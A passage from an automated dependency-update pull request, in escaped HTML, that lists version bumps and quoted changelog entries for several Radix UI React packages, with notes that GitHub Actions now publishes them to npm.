re-opening on long-press touch events\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/context-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-context-menu\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dialog` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dialog/CHANGELOG.md\"\u003e@​radix-ui/react-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved dev-only warnings for dialogs when title and/or description is not rendered.\u003c/li\u003e\n\u003cli\u003eFixed Dismissable Layer so outside interactions stopped by extension UI overlays do not dismiss dialogs or popovers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed disabled pointer events in closed dialogs\u003c/li\u003e\n\u003cli\u003eFixed a bug where iOS text selection and editing on HTML inputs within \u003ccode\u003ereact-dialog\u003c/code\u003e were broken\u003c/li\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-dialog\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dropdown-menu` from 2.1.16 to 2.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dropdown-menu/CHANGELOG.md\"\u003e@​radix-ui/react-dropdown-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.20\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.19\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where menus and submenus remained open after a window loses focus.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.18\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dropdown-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-dropdown-menu\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-hover-card` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/hover-card/CHANGELOG.md\"\u003e@​radix-ui/react-hover-card's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/hover-card\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-hover-card\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-label` from 2.1.8 to 2.1.11\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/label/CHANGELOG.md\"\u003e@​radix-ui/react-label's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/label\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-label\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-menubar` from 1.1.16 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/menubar/CHANGELOG.md\"\u003e@​radix-ui/react-menubar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.20\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.19\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where menus and submenus remained open after a window loses focus.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.18\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/menubar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-menubar\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-navigation-menu` from 1.2.14 to 1.2.18\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/navigation-menu/CHANGELOG.md\"\u003e@​radix-ui/react-navigation-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded CSS custom properties for item indicators' translate values.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/navigation-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-navigation-menu\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-popover` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/popover/CHANGELOG.md\"\u003e@​radix-ui/react-popover's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Dismissable Layer so outside interactions stopped by extension UI overlays do not dismiss dialogs or popovers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where iOS text selection and editing on HTML inputs within \u003ccode\u003ereact-dialog\u003c/code\u003e were broken\u003c/li\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/popover\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-popover\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-progress` from 1.1.8 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/progress/CHANGELOG.md\"\u003e@​radix-ui/react-progress's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: 